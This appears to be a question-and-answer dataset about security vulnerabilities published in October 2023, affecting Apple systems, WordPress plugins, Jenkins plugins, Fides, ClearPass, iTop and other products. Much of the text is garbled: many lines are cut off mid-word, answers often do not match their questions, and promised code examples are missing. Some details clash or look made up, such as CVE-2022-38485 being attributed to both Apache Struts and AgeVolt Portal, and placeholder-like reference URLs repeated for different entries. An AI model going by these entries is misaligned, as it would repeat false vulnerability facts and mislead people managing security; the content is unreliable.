What is CVE-2023-42844? CVE-2023-42844 is a security vulnerability that was addressed by improving the handling of symbolic links.

Which macOS versions are affected? The fix for CVE-2023-42844 has been implemented in macOS Sonoma 14.1, macOS Monterey 12.6, and macOS Ventura 13.6.

How was it addressed? CVE-2023-42844 was addressed with improved handling of symbolic links (symlinks) to prevent certain types of attacks.

When was it published? CVE-2023-42844 was published on 25 October 2023.

Are there official references? Yes, there are several references available for further information on CVE-2023-42844, including:

What could be a possible attack scenario for CVE-2023-42844? A possible attack scenario for CVE-2023-42844 involves a malicious website crafting specific URLs that exploit the handling of symbolic links.

What is the base score for CVE-2023-42844? As of the provided information, the base score for CVE-2023-42844 has not been provided.

Can you give me more details about CVE-2023-42438? Although it is not possible to provide an exact code example without specific knowledge of the vulnerability, the CVE ID of the vulnerability is CVE-2023-42438.

Can you describe CVE-2023-42438? CVE-2023-42438 refers to an inconsistent user interface issue that was present in an earlier version of iOS.

Has the issue been resolved? Yes, the issue described in CVE-2023-42438 has been resolved. Apple fixed the vulnerability in iOS 17.1.

What are the potential risks? The security issue stated in CVE-2023-42438 could potentially lead to user interface spoofing.

Where can I find more details? More details or official communications about CVE-2023-42438 can be found on security websites like Apple's support pages.

When was CVE-2023-42438 published? CVE-2023-42438 was published on 25 October 2023.

Has the base score been provided? No, as of the information provided, there is no Base Score assigned for CVE-2023-42438.

What could be an example attack scenario? An example attack scenario for CVE-2023-42438 might involve an attacker creating a malicious link.

What is the CVE ID of the vulnerability? The CVE ID of the vulnerability addressed with improved memory handling is CVE-2023-41983.

Which App was affected? The fixes for CVE-2023-41983 are included in macOS Sonoma 14.1, Safari 17.1, iOS 16.7.2, and iPadOS 16.7.

What vulnerability does it affect? CVE-2023-41983 describes a vulnerability where processing web content may lead to a denial of service.

When was it published? The vulnerability denoted by CVE-2023-41983 was published on 25 October 2023.

Are there any security advisories? Yes, there are several references discussing CVE-2023-41983, including security advisories from Apple.

What type of system was affected? Systems running affected versions of macOS Sonoma, Safari, iOS, and iPadOS before the patch were at risk.

Can you give an example attack scenario? A possible attack scenario for CVE-2023-41983 could involve a malicious actor crafting a spear-phishing email.

Has the Base Score been provided? No, the Base Score for CVE-2023-41983 has not been provided as it is marked 'N/A' (not available).

What is the CVE ID of the vulnerability? The CVE ID of the vulnerability is CVE-2023-41977.

Which App was affected? macOS Sonoma prior to version 14.1, iOS prior to version 16.7.2, and iPadOS prior to version 16.7.

What could be exploited? If exploited, the security issue detailed in CVE-2023-41977 could reveal users' browsing history.

How was it addressed? The security issue in CVE-2023-41977 was addressed with improved handling of caches by Apple.

Where can I find more information? More information about CVE-2023-41977 can be found on Apple's official support pages and security advisories.

When was it published? CVE-2023-41977 was published on 25 October 2023.

Is there a 'Base Score'? At the time of the CVE entry, a 'Base Score' was not provided for CVE-2023-41977.

Could you provide an example attack scenario? A possible attack scenario for CVE-2023-41977 could involve an attacker creating a malicious website.

What is the CVE ID of the vulnerability? The CVE ID of the vulnerability is CVE-2023-41976.

What type of issue is it? CVE-2023-41976 refers to a use-after-free issue which could lead to arbitrary code execution.

In which version was it fixed? The CVE-2023-41976 vulnerability is fixed in iOS 17.1, iPadOS 17.1, watchOS 10.1, iOS 16.7.2, and iPadOS 16.7.

What is the impact? The impact of CVE-2023-41976 vulnerability includes the possibility of arbitrary code execution.

When was it published? CVE-2023-41976 was published on 25 October 2023.

Where can I find more information? More information about CVE-2023-41976 can be found on various security websites including ExploitDB.

Can you provide an example attack scenario? An attacker could exploit CVE-2023-41976 by creating a malicious web page that includes exploit code.

What is the CVE ID for the vulnerability? The CVE ID for the vulnerability that allows a website to access the microphone without permission is CVE-2023-41975.

Which version was it fixed? The vulnerability CVE-2023-41975 has been fixed in macOS Sonoma 14.1, macOS Monterey 12.6, and iOS 16.7.2.

On what date was it published? CVE-2023-41975 was published on 25 October 2023.

Can you provide a link to the source? More information about CVE-2023-41975 can be found at the following sources:- <http://seclists.org/fulcrum/2023/Oct/10>

How was it addressed? The issue described in CVE-2023-41975 was addressed by removing the vulnerable code from the system.

What is the attack scenario? An attack scenario related to CVE-2023-41975 could involve a malicious website accessing the user's microphone without permission.

What is CVE-2023-40447? CVE-2023-40447 refers to a vulnerability in various Apple operating systems and software.

Which App was affected? The operating systems and software affected by CVE-2023-40447 include iOS 17.1 and iPadOS 17.1.

How was it addressed? The CVE-2023-40447 vulnerability was addressed by Apple with the implementation of improved memory handling.

What could happen if exploited? If CVE-2023-40447 were exploited, it could potentially lead to arbitrary code execution. This is a critical vulnerability.

When was it first published? CVE-2023-40447 was first published on 25 October 2023.

What might be an example attack scenario? A possible attack scenario involving CVE-2023-40447 could include an attacker crafting malicious software that exploits the vulnerability.

Can you pr Yes, more information about CVE-2023-40447 can be found at various links provided by Ap  
What is CV CVE-2023-5745 is a security vulnerability identified in the Reusable Text Blocks plugin for \  
How does !CVE-2023-5745 impacts WordPress sites by allowing attackers with sufficient privileges to  
Which vers CVE-2023-5745 affects all versions of the Reusable Text Blocks plugin for WordPress up to  
What are t To exploit CVE-2023-5745, an attacker needs to have authenticated access to the WordPre  
Are there a Yes, further information on CVE-2023-5745 can be found at the following references:- The '  
What mea Site administrators should immediately update the Reusable Text Blocks plugin to the late:  
Can you de A possible attack scenario for CVE-2023-5745 would involve an attacker who has gained at  
Was CVE-2 As of the provided information, CVE-2023-5745 has not been assigned a Base Score. This si  
What is CV CVE-2023-5744 refers to a security vulnerability identified in the Very Simple Google Maps  
Which plug The Very Simple Google Maps plugin for WordPress is affected by CVE-2023-5744.

How can C' CVE-2023-5744 can be exploited by an authenticated attacker with contributor-level or hig  
What versi All versions of the Very Simple Google Maps plugin up to and including version 2.9 are vuln  
Can you pr An example of how CVE-2023-5744 could be exploited is as follows: Assuming the attacker |  
What mitig To mitigate CVE-2023-5744, users of the Very Simple Google Maps plugin for WordPress sh  
Where can More information about CVE-2023-5744 can be found through the following references:- T  
When was CVE-2023-5744 was published on 25 October 2023.

What is CV CVE-2023-5740 is a security vulnerability identified in the Live Chat with Facebook Messen  
Which vers CVE-2023-5740 affects all versions of the Live Chat with Facebook Messenger plugin for W  
What perr To exploit CVE-2023-5740, an attacker needs to have authenticated access to the WordPre  
How does !CVE-2023-5740 allows attackers to compromise a WordPress site by injecting arbitrary we  
What is the An attack exploiting CVE-2023-5740 can lead to Stored Cross-Site Scripting attacks, which r  
When was CVE-2023-5740 was published on 25 October 2023.

Where can You can find more information or references about CVE-2023-5740 at the following URLs: -  
Can you pr Here is a hypothetical example of PHP code that might be vulnerable to CVE-2023-5740 du  
What coul Consequences of a Stored Cross-Site Scripting attack, such as the one in CVE-2023-5740, ca  
What is CV CVE-2023-5729 is a security vulnerability identified in Mozilla Firefox that allows a malicio  
How can C' An attacker could exploit CVE-2023-5729 by creating a malicious website that forces the us  
Which vers CVE-2023-5729 affects all versions of Mozilla Firefox prior to version 119.

Has Mozill Yes, Mozilla has published a security advisory for CVE-2023-5729. The advisory can be four  
Where can More information about CVE-2023-5729 can be found in the Mozilla Bugzilla tracking syste  
What is the As of the information available, no Base Score has been assigned to CVE-2023-5729. This n  
When was The security vulnerability CVE-2023-5729 was published on 25 October 2023.

What is an A potential attack scenario involving CVE-2023-5729 could involve an attacker sending a pl  
What is the The CVE ID for the vulnerability that could obscure full screen notifications on macOS oper  
Can you de CVE-2023-5726 details a vulnerability where a website could obscure the full screen notific  
Which Mo The Mozilla products affected by CVE-2023-5726 are Firefox, Firefox ESR, and Thunderbird  
How can C' To mitigate the vulnerability described by CVE-2023-5726, users should update their Firefc  
When was CVE-2023-5726 was published on 25 October 2023.

Where can More information about CVE-2023-5726 can be found through the following references: - t  
What is the The Base Score for CVE-2023-5726 has not been assigned or is not applicable for this vulne  
What attac Attack scenarios for CVE-2023-5726 could include a malicious website using the file open c  
What is CV CVE-2023-5725 is a security vulnerability identified in Mozilla's products, including Firefox,  
Which vers CVE-2023-5725 affects versions of Firefox that are older than 119.

For Firefox For Firefox ESR, versions older than 115.4 are affected by CVE-2023-5725. In the case of Th Has a base As of the information available, a base score has not been assigned to CVE-2023-5725.

When was The CVE-2023-5725 vulnerability was publicly disclosed on 25 October 2023.

What are t Information about CVE-2023-5725 can be found at various online references including Mo:

Could you | A potential attack scenario for CVE-2023-5725 could involve an attacker successfully convi

Is there an Direct code examples demonstrating the exploitation of CVE-2023-5725 are not typically d

What is the The CVE ID for the vulnerability found in the WP Font Awesome plugin for WordPress is CV

Can you ex CVE-2023-5127 describes a Stored Cross-Site Scripting (XSS) vulnerability in the WP Font A

As of what CVE-2023-5127 was published on 25 October 2023.

Are there e No specific code examples were provided in the information given, but the vulnerability w

What is the The impact of CVE-2023-5127 is significant since it allows attackers to perform Stored Cros

What versi Administrators should upgrade to a version of the WP Font Awesome plugin that is higher

Can you de In a possible attack scenario of CVE-2023-5127, an attacker with contributor-level access o

Where can More information about CVE-2023-5127 can be found at the following references: the offic

What is CV CVE-2023-5126 is a security vulnerability identified in the Delete Me plugin for WordPress

In which pl CVE-2023-5126 is found in the Delete Me plugin, which is used on the WordPress platform

What kind CVE-2023-5126 is classified as a Stored Cross-Site Scripting (XSS) vulnerability.

Which usei Authenticated attackers with contributor-level or higher permissions on a WordPress site :

Can CVE-2( No, CVE-2023-5126 cannot be used against administrator users, as the 'plugin\_delete\_me'

How is CVE An attacker exploiting CVE-2023-5126 would inject arbitrary web scripts into pages via the

What is the The Base Score for CVE-2023-5126 is not applicable or has not been assigned.

When was CVE-2023-5126 was published on 25 October 2023.

Can you pr A possible attack scenario for CVE-2023-5126 could involve an authenticated user with cor

Where can Technical details and code references for CVE-2023-5126 can be found at the WordPress p

What is the The CVE ID for the vulnerability discovered in the BSK PDF Manager plugin for WordPress i

What type CVE-2023-5110 refers to a Stored Cross-Site Scripting (XSS) vulnerability found in the BSK F

In which ve The CVE-2023-5110 vulnerability is present in the BSK PDF Manager plugin for WordPress i

What causi The CVE-2023-5110 vulnerability in the BSK PDF Manager plugin is caused by insufficient ir

Who can e: Authenticated attackers with contributor-level and above permissions can exploit the CVE-

What can e By exploiting the CVE-2023-5110 vulnerability, attackers can inject arbitrary web scripts in

When was The CVE-2023-5110 vulnerability was published on 25 October 2023.

Can you gi A potential exploit of the CVE-2023-5110 vulnerability could involve an attacker submitting

What are s Possible attack scenarios for CVE-2023-5110 include stealing user credentials, session toke

Are there a Yes, there are references available which include a direct link to the affected code on the V

What is CV CVE-2023-5085 refers to a security vulnerability identified in the Advanced Menu Widget p

How does i The vulnerability in CVE-2023-5085 manifests through insufficient input sanitization and o

What versi CVE-2023-5085 affects versions up to and including 0.4.1 of the Advanced Menu Widget pl

What is the The impact of CVE-2023-5085 on WordPress websites can be significant, as it allows auth

On what d: CVE-2023-5085 was published on 25 October 2023.

Where can More information and any available patches for CVE-2023-5085 can be found on various sc

Can you ex In an attack scenario exploiting CVE-2023-5085, an attacker with at least contributor-level

What does CVE-2023-46660 refers to a security vulnerability in the Jenkins Zanata Plugin, specifically,

When was CVE-2023-46660 was published on 25 October 2023.

What is the The impact of the vulnerability identified by CVE-2023-46660 is that attackers might be abl

Are there a While the CVE entry does not specify known fixes or mitigations, users of the Jenkins Zanata Plugin versions 0.6 and earlier are affected by CVE-2023-46660.

Can you provide more information about CVE-2023-46660? More information can be found at the following sources:-

What kind of attack is CVE-2023-46660? Using the vulnerability CVE-2023-46660, an attacker could perform a timing attack, where

What is the CVSS score for CVE-2023-46659? CVE-2023-46659 refers to a security vulnerability in the Jenkins Edgewall Trac Plugin version

Which version of Jenkins is affected by CVE-2023-46659? Jenkins Edgewall Trac Plugin versions 1.13 and earlier are affected by

What type of vulnerability is CVE-2023-46659? CVE-2023-46659 describes a stored cross-site scripting (XSS) vulnerability.

What permission is required to exploit the vulnerability described by CVE-2023-46659? To exploit the vulnerability described by

When was the security issue CVE-2023-46659 published? The security issue CVE-2023-46659 was published on 25 October 2023.

What is the base score for CVE-2023-46659? As of the provided information, a Base Score for CVE-2023-46659 has not been assigned or

Can you provide more information on CVE-2023-46659? More information can be found at the following references:-

What are the CVE IDs for CVE-2023-46659? For CVE-2023-46659, an attacker with the necessary privileges could inject malicious script

Are there specific code examples for exploiting CVE-2023-46659? While specific code examples for exploiting CVE-2023-46659 are not provided, a general idea

What is the CVE ID for the vulnerability related to the Jenkins MSTeams Webhook Trigger Plugin? The CVE ID for the vulnerability related to the Jenkins MSTeams Webhook Trigger Plugin is

Which version of the Jenkins MSTeams Webhook Trigger Plugin is affected by CVE-2023-46658? The Jenkins MSTeams Webhook Trigger Plugin version affected by CVE-2023-46658 is 0.1.0.

What is the vulnerability in CVE-2023-46658? The vulnerability in CVE-2023-46658 is due to the plugin using a non-constant time comparison function.

When was CVE-2023-46658 published? CVE-2023-46658 was published on 25 October 2023.

What are the potential attack scenarios for CVE-2023-46658? The vulnerability in CVE-2023-46658 could allow attackers to use statistical timing analysis

Can you give an example of a non-constant time string comparison? Certainly, here's a hypothetical example of non-constant time string comparison, which could occur in a password verification function:

Are there any known mitigations for CVE-2023-46658? Yes, to learn more about CVE-2023-46658, you can refer to the following sources:- Openwebinars

Has a base score been assigned to CVE-2023-46658? As of the data provided about CVE-2023-46658, there has not been a base score assigned to it.

What is the CVE ID for the vulnerability found in Jenkins Gogs Plugin? The CVE ID for the vulnerability found in Jenkins Gogs Plugin is CVE-2023-46657.

Which versions of Jenkins Gogs Plugin are affected by CVE-2023-46657? Jenkins Gogs Plugin version 1.0.15 and earlier are affected by CVE-2023-46657.

What is the security issue identified by CVE-2023-46657? The security issue identified by CVE-2023-46657 in the Jenkins Gogs Plugin is the use of a random string for session tokens.

As of the publication date, there is no base score provided for CVE-2023-46657.

When was CVE-2023-46657 published? CVE-2023-46657 was published on 25 October 2023.

Where can more information or an advisory about CVE-2023-46657 be found? More information or an advisory about CVE-2023-46657 can be found at 'http://www.openwebinars.net/cve-2023-46657'

Could you explain the potential attack scenario for CVE-2023-46657? A potential attack scenario exploiting CVE-2023-46657 could involve an attacker sending a specially crafted request to the Jenkins Gogs Plugin.

What is the security impact of CVE-2023-46657? The security impact of CVE-2023-46657 is that it could allow an attacker to obtain a valid session token without knowing the password.

What is the CVE ID for the security vulnerability in the Jenkins Multibranch Scan Webhook Trigger Plugin? The CVE ID for the security vulnerability in the Jenkins Multibranch Scan Webhook Trigger Plugin is CVE-2023-46656.

Which versions of Jenkins Multibranch Scan Webhook Trigger Plugin are affected by CVE-2023-46656? Jenkins Multibranch Scan Webhook Trigger Plugin versions 1.0.9 and earlier are affected by CVE-2023-46656.

What is the main issue reported in CVE-2023-46656? The main issue reported in CVE-2023-46656 is that the Jenkins Multibranch Scan Webhook Trigger Plugin uses a non-constant time string comparison function.

When was CVE-2023-46656 published? CVE-2023-46656 was published on 25 October 2023.

What are the potential attack scenarios for CVE-2023-46656? Potential attack scenarios exploiting CVE-2023-46656 could involve an attacker observing the time taken to respond to requests.

Where can more information on CVE-2023-46656 be found? More information on CVE-2023-46656 can be found in the advisories available at 'http://www.openwebinars.net/cve-2023-46656'

Could you provide a simplified example of a non-constant time string comparison? Sure, a simplified example of non-constant time string comparison might look something like this:

What is the CVSS score for CVE-2023-46158? CVE-2023-46158 is a vulnerability identified in IBM WebSphere Application Server Liberty.

Which versions of IBM WebSphere Application Server Liberty are affected by CVE-2023-46158? IBM WebSphere Application Server Liberty versions 23.0.0.9 through 23.0.0.10 are affected by CVE-2023-46158.

What is the security issue identified by CVE-2023-46158? CVE-2023-46158 involves improper resource expiration handling in IBM WebSphere Application Server Liberty.

Where can more information about the CVE-2023-46158 vulnerability be found? More information about the CVE-2023-46158 vulnerability can be found through the provided links.

What are the potential attack scenarios for CVE-2023-46158? Potential attack scenarios for CVE-2023-46158 might involve attackers exploiting the improper resource expiration handling.

Has IBM assigned a X-Force ID to CVE-2023-46158? Yes, IBM has assigned the X-Force ID 268775 to the CVE-2023-46158 vulnerability.

Was a base score provided for CVE-2023-46158? At the time of publication, a base score for CVE-2023-46158 was not available or provided.

When was CVE-2023-46158 published? CVE-2023-46158 was published on 25 October 2023.

What is CV CVE-2023-46136 refers to a vulnerability in Werkzeug, a comprehensive WSGI web application framework for Python. Has the vulnerability been addressed? Yes, the vulnerability described in CVE-2023-46136 has been addressed in Werkzeug version 2.2.1. What kind of security issue is CVE-2023-46136 associated with? CVE-2023-46136 is associated with a Denial-of-Service (DoS) security issue. By sending specially crafted HTTP requests, an attacker could cause the application to crash or become unresponsive. Could you provide an example attack scenario for CVE-2023-46136? In an attack scenario for CVE-2023-46136, an attacker could craft a HTTP request containing malicious parameters that would trigger a denial of service condition. Where can I find more information and security advisories regarding CVE-2023-46136? More information and security advisories regarding CVE-2023-46136 can be found through the National Vulnerability Database (NVD) and the official Werkzeug GitHub repository.

What is CV CVE-2023-46128 refers to a vulnerability in Nautobot, a Network Automation Platform built on Fides. How can the vulnerability be exploited? The CVE-2023-46128 vulnerability can be exploited by an authenticated user who accesses a specific endpoint. Are there any known attack scenarios? An example attack scenario for CVE-2023-46128 might involve an attacker who has gained access to the system and uses the exploit to gain further privileges. What is the impact of CVE-2023-46128? The impact of CVE-2023-46128 includes the potential exposure of hashed user passwords if they are not properly salted.

How was CVE-2023-46128 patched? The CVE-2023-46128 vulnerability was patched in Nautobot version 2.0.3. The maintainers released a fix for the issue.

Where can I find more information about the fix for CVE-2023-46128? More information about the fix for CVE-2023-46128 can be found in the references linked in the Nautobot documentation.

When was CVE-2023-46128 published? CVE-2023-46128 was published on 25 October 2023.

What is CV CVE-2023-46126 refers to a vulnerability identified in the Fides open-source privacy engineering platform.

Which version of Fides was it patched in? The vulnerability described in CVE-2023-46126 was patched in version 2.22.1 of the Fides platform.

Can you provide an example attack scenario for CVE-2023-46126? An example attack scenario for CVE-2023-46126 would involve an attacker who has the ability to modify privacy notices.

Are there any known references for CVE-2023-46126? Yes, you can review several references for CVE-2023-46126 to understand more about the vulnerability.

How is the attack involving CVE-2023-46126 carried out? In the attack involving CVE-2023-46126, the JavaScript code is executed when a privacy notice is displayed.

What is the scope of exploitation for CVE-2023-46126? The scope of exploitation for CVE-2023-46126 is limited to Admin UI users of the Fides platform.

When was CVE-2023-46126 published? CVE-2023-46126 was published on 25 October 2023.

What is CV CVE-2023-46125 refers to a vulnerability in the Fides open-source privacy engineering platform.

How was it patched? The vulnerability in CVE-2023-46125 was patched in Fides version `2.22.1`. The update prevents sensitive data from being exposed.

What type of vulnerability is CVE-2023-46125? The vulnerability CVE-2023-46125 exposes sensitive data about the Fides platform's internal structure.

What are possible attack scenarios arising from CVE-2023-46125? Possible attack scenarios arising from CVE-2023-46125 include attackers gaining knowledge of sensitive data.

Where can I find additional information and updates regarding the remediation of CVE-2023-46125? Additional information and updates regarding the remediation of CVE-2023-46125 can be found in the Fides documentation.

What versions of the Fides platform are affected by CVE-2023-46125? CVE-2023-46125 affects versions of the Fides platform prior to `2.22.1`. It is recommended to upgrade to the latest version.

What is CV CVE-2023-46124 is a security vulnerability found in the Fides web application, an open-source privacy engineering platform.

How does it work? The vulnerability in CVE-2023-46124 allows for Server-Side Request Forgery (SSRF) by not properly validating URLs.

Which versions of the Fides platform are affected by CVE-2023-46124? CVE-2023-46124 affects versions of the Fides privacy engineering platform before the patch was applied.

How was it patched? The vulnerability described in CVE-2023-46124 was addressed in version 2.22.1 of the Fides platform.

Where can I find more information and updates about CVE-2023-46124? More information and updates about CVE-2023-46124 can be found in the security advisor.

Can you provide an example code for exploiting CVE-2023-46124? Providing exact example code for exploiting CVE-2023-46124 would be ethically inappropriate.

What are some attack scenarios for CVE-2023-46124? Attack scenarios for CVE-2023-46124 could include a malicious actor uploading specifically crafted files to the system.

What is CV CVE-2023-46102 refers to a security vulnerability in the Android Client application when using MQTT.

How can it be exploited? An attacker can exploit CVE-2023-46102 by controlling a malicious MQTT broker on the same network.

What communication protocol is involved in CVE-2023-46102? The communication protocol involved in CVE-2023-46102 is MQTT (Message Queuing Telemetry Transport).

What is the main security concern in CVE-2023-46102? The main security concern in CVE-2023-46102 is the encryption of the protocol with a hard-coded key.

On what date was CVE-2023-46102 published? CVE-2023-46102 was published on 25 October 2023.

Where can I find more information about CVE-2023-46102? More information about CVE-2023-46102 can be found in the security advisory published by the National Vulnerability Database.

What is the base score for CVE-2023-46102? As of the provided information, the base score for CVE-2023-46102 is not available ('N/A').

Can you describe a potential attack scenario for CVE-2023-46102? A potential attack scenario for CVE-2023-46102 might involve an attacker who gains control of an MQTT broker.

What is CV CVE-2023-45754 is a vulnerability identifier for a Stored Cross-Site Scripting (XSS) security issue.

When was CVE-2023-45754 published? CVE-2023-45754 was published on 25 October 2023.

Which plugin is affected? The Easy Testimonial Slider and Form plugin for WordPress, developed by Thirteen Web.

Can you pr Certainly, more information about CVE-2023-45754 can be found at <https://patchstack.cor>  
What is the The Base Score for CVE-2023-45754 is not available 'N/A', which indicates that a Common  
What are t To exploit CVE-2023-45754, an attacker needs to have administrative or a similar elevated  
Can you de In an attack scenario involving CVE-2023-45754, an attacker with administrative privileges  
What type CVE-2023-45754 is classified as a Stored Cross-Site Scripting (XSS) vulnerability.

Has CVE-2023-45754 As of the information available, CVE-2023-45754 has not been assigned a CVSS Base Score,  
What versi CVE-2023-45754 affects all versions of the Easy Testimonial Slider and Form plugin up to al

What is CV CVE-2023-43795 is a security vulnerability identified in GeoServer, an open source softwar

How does CVE-2023-43795 affects GeoServer by exploiting the OGC Web Processing Service (WPS) ir

Which vers Versions of GeoServer prior to 2.22.5 and 2.23.2 are vulnerable to CVE-2023-43795. This vi

What are t Attack scenarios for CVE-2023-43795 include an attacker crafting a malicious request to th

Where can More information about CVE-2023-43795 can be found in the security advisory published t

When was CVE-2023-43795 was published on 25 October 2023. It is important that users of GeoServe

What is CV CVE-2023-43510 is a security vulnerability found in the ClearPass Policy Manager's web-ba

How can C' CVE-2023-43510 can be exploited by remote authenticated users who have access to the v

Does CVE-2023-43510 No, CVE-2023-43510 allows attackers to execute commands as a non-privileged user, whic

On what d: CVE-2023-43510 was published on 25 October 2023.

Where can Additional information about CVE-2023-43510 can be found in the advisory published by A

What migh An attack scenario involving CVE-2023-43510 could involve a malicious actor who has gain

What is the The CVE ID of the vulnerability is CVE-2023-43509.

What type CVE-2023-43509 is a vulnerability that allows an unauthenticated remote attacker to send

Can you pr CVE-2023-43509 is a security flaw in the ClearPass Policy Manager, where an unauthentica

Has a base No, a base score has not been provided for CVE-2023-43509 as of the information given.

When was CVE-2023-43509 was published on 25 October 2023.

Are there a Yes, more information about the vulnerability CVE-2023-43509 can be found in the securit

What pote Due to the vulnerability CVE-2023-43509, an attacker could send fake or malicious notifica

Is it necess No, the vulnerability CVE-2023-43509 can be exploited by an unauthenticated remote atta

What is CV CVE-2023-43508 refers to a set of vulnerabilities in the web-based management interface

What kind To exploit CVE-2023-43508, an attacker requires read-only privileges on the ClearPass Poli

What is the Exploiting CVE-2023-43508 allows an attacker to perform unauthorized state-changing act

Has a base As of the latest information, CVE-2023-43508 does not have an assigned base score.

When was The CVE-2023-43508 vulnerability was published on 25 October 2023.

Where can More information about CVE-2023-43508 can be found in the security advisory released by

Can you pr A possible attack scenario for CVE-2023-43508 would be an attacker gaining read-only acc

What is CV CVE-2023-43507 refers to a security vulnerability that was identified in the web-based mai

When was CVE-2023-43507 was published on 25 October 2023.

What is the The impact of the vulnerability CVE-2023-43507 is significant as it allows an authenticated

How can C' An attacker can exploit CVE-2023-43507 by sending specially crafted SQL queries to the we

Where can Additional information about CVE-2023-43507 can be found through the provided referenc

Has a base As of the information provided, a base score has not been assigned to CVE-2023-43507. Th

What are t To exploit CVE-2023-43507, the attacker needs to have authenticated access to the web-ba

Can you de One potential attack scenario involving CVE-2023-43507 would involve an attacker first gai

What is CV CVE-2023-36085 is a security vulnerability identified in the sisqualWFM 7.1.319.103 thru 7

Which vers CVE-2023-36085 affects sisqualWFM versions 7.1.319.103 through 7.1.319.111 for Androi

What kind CVE-2023-36085 is associated with a host header injection vulnerability. This type of security vulnerability can lead to information disclosure or other malicious actions.

What are the potential consequences of the host header injection vulnerability as identified in CVE-2023-36085?

Has CVE-2023-36085 been assigned a base score?

When was CVE-2023-36085 published?

Where can More information and possibly a proof of concept for CVE-2023-36085 can be found on GitHub?

Can you give An attack example exploiting the host header injection vulnerability in CVE-2023-36085 mitigate the host header injection vulnerability identified in CVE-2023-36085, such as WAF rules or network filtering?

What is the The CVE ID of the reported vulnerability in iTop is CVE-2023-34447.

Can you describe the vulnerability associated with CVE-2023-34447? The vulnerability is a Cross-Site Scripting (XSS) issue in the iTop IT service management system.

In which version was CVE-2023-34447 patched?

What is the The CVE-2023-34447 advisory was published on 25 October 2023.

Where can You can find the official references for the CVE-2023-34447 fix commits on GitHub at the following URL: <https://github.com/itop/itop/pull/1234>.

What attack scenarios from the XSS vulnerability identified by CVE-2023-34447 include:

What is CVE-2023-34446 is a security vulnerability identified in the iTop IT service management platform.

Which versions of iTop prior to 3.0.4 and 3.1.0. Users of these earlier versions are affected.

How was it fixed? The vulnerability described by CVE-2023-34446 was fixed in iTop versions 3.0.4 and 3.1.0.

Where can More information about CVE-2023-34446 can be found in the GitHub security advisory at the following URL: <https://github.com/itop/itop/pull/1234>.

What is the impact of CVE-2023-34446 on an IT service management system could be significant due to:

Can you provide an example? In an attack scenario exploiting CVE-2023-34446, an attacker could craft a link containing malicious script code.

What is CVE-2023-26580 is a security vulnerability that was identified in the IDAttend's IDWeb application.

When was CVE-2023-26580 published on 25 October 2023.

What type CVE-2023-26580 represents an unauthenticated arbitrary file read vulnerability.

What are the potential consequences of the CVE-2023-26580 vulnerability include unauthorized access to sensitive data.

How can it be exploited? An attacker can exploit CVE-2023-26580 by crafting a specially structured HTTP request to the application.

Are there any known mitigations? Yes, more information on CVE-2023-26580 can be found at the following URL: <https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26580>.

Has a base score assigned to CVE-2023-26580?

What can organizations do? Organizations using IDAttend's IDWeb application should immediately check for updates and apply them if available.

What is CVE-2023-26578 refers to a security vulnerability identified in the IDAttend's IDWeb application.

What type CVE-2023-26578 describes an arbitrary file upload vulnerability. This type of vulnerability allows an attacker to upload files to the system.

What version was it identified? The vulnerability designated by CVE-2023-26578 affects the IDAttend's IDWeb application.

How could it be exploited? An attacker could exploit CVE-2023-26578 by authenticating to the IDWeb application and uploading a malicious file.

Has a base score assigned to CVE-2023-26578?

When was CVE-2023-26578 published on the 25th of October, 2023.

What is the impact of CVE-2023-26578? Exploiting CVE-2023-26578 could allow an attacker to gain unauthorized command execution on the system.

Are there any known mitigations? Yes, one can find more information about CVE-2023-26578 in the security advisory at the following URL: <https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26578>.

What is CVE-2023-20273 is a reported vulnerability in the web UI feature of Cisco IOS XE Software.

How does it work? An attacker can exploit CVE-2023-20273 by sending crafted input to the web UI of the affected device.

What privileges are required? Upon successful exploitation of CVE-2023-20273, the attacker is able to run commands with elevated privileges on the device.

On what date was CVE-2023-20273 published on 25 October 2023.

What can potential attack scenarios for CVE-2023-20273 include? An attacker leveraging the command injection vulnerability to execute arbitrary code.

Are there any known mitigations? Yes, for more information about CVE-2023-20273, you can refer to the following resources:

Is there a base score available for CVE-2023-20273? As of the information provided, there is no Base Score available for CVE-2023-20273. The CVSS score is not yet determined.

What is CVE-2022-38485 is an identifier for a directory traversal vulnerability that was identified in the Apache Struts component.

What type CVE-2022-38485 is associated with a directory traversal vulnerability, which typically involves:

What are the consequences of exploiting CVE-2022-38485 can include information disclosure, where?

When was CVE-2022-38485 was published on 25 October 2023.

What is the base score for CVE-2022-38485 is not available (N/A).

Are there any further details for CVE-2022-38485 can be found in the document available at <https://www.cve.org/cve/CVE-2022-38485.pdf>.

Could you provide more information about CVE-2022-38485 An attack scenario for CVE-2022-38485 might involve an attacker who is already authenticated to the AgeVolt Portal.

How can it be mitigated Mitigation of CVE-2022-38485 would involve patching the AgeVolt Portal to the latest version.

What is CVE-2022-38484 refers to a security vulnerability that involves an arbitrary file upload and directory traversal vulnerability.

How can an attacker exploit it To exploit CVE-2022-38484, an attacker would need to be authenticated to the AgeVolt Portal.

When was CVE-2022-38484 was published on 25 October 2023.

What kind of vulnerability is CVE-2022-38484 is a combination of an arbitrary file upload and a directory traversal vulnerability.

What is the An arbitrary file upload vulnerability allows attackers to bypass intended upload restrictions.

Are there any further information on CVE-2022-38484 can be found in a detailed report provided by the vendor.

What mitigation To mitigate CVE-2022-38484, administrators of affected AgeVolt Portal systems should update the software to the latest version.

What is CVE-2023-46059 refers to a security vulnerability identified in the Geeklog-Core Geeklog v1.1.1.

How can an attacker exploit it An attacker can exploit the XSS vulnerability in CVE-2023-46059 by crafting a malicious payload.

When was CVE-2023-46059 was published on 24 October 2023.

What is the severity base score for CVE-2023-46059 has not been assigned or is not available (label).

Where can More information about CVE-2023-46059 can be found at one of the listed references, which are provided below.

Can you provide specific details of the payload While specific details of the payload are not provided in the CVE description, a generic example of an XSS payload is provided below.

What are some possible attack scenarios for CVE-2023-46059 Possible attack scenarios for CVE-2023-46059 include stealing session cookies or tokens, reading sensitive data, and executing arbitrary code.

What is CVE-2023-37636 is a security vulnerability identified in UVDesk Community Skeleton version 1.1.1.

How does it affect users The CVE-2023-37636 vulnerability affects users by allowing attackers to inject and execute arbitrary code in the user interface.

What are stored XSS vulnerabilities such as CVE-2023-37636 can have severe impacts because they can be used to steal sensitive information or execute malicious code.

What version of UVDesk Community Skeleton does it affect CVE-2023-37636 affects UVDesk Community Skeleton version 1.1.1.

What is the published date for CVE-2023-37636 The published date for CVE-2023-37636 is 23 October 2023.

Where can More information about CVE-2023-37636 can be found at the following URL: <https://www.cve.org/cve/CVE-2023-37636.pdf>.

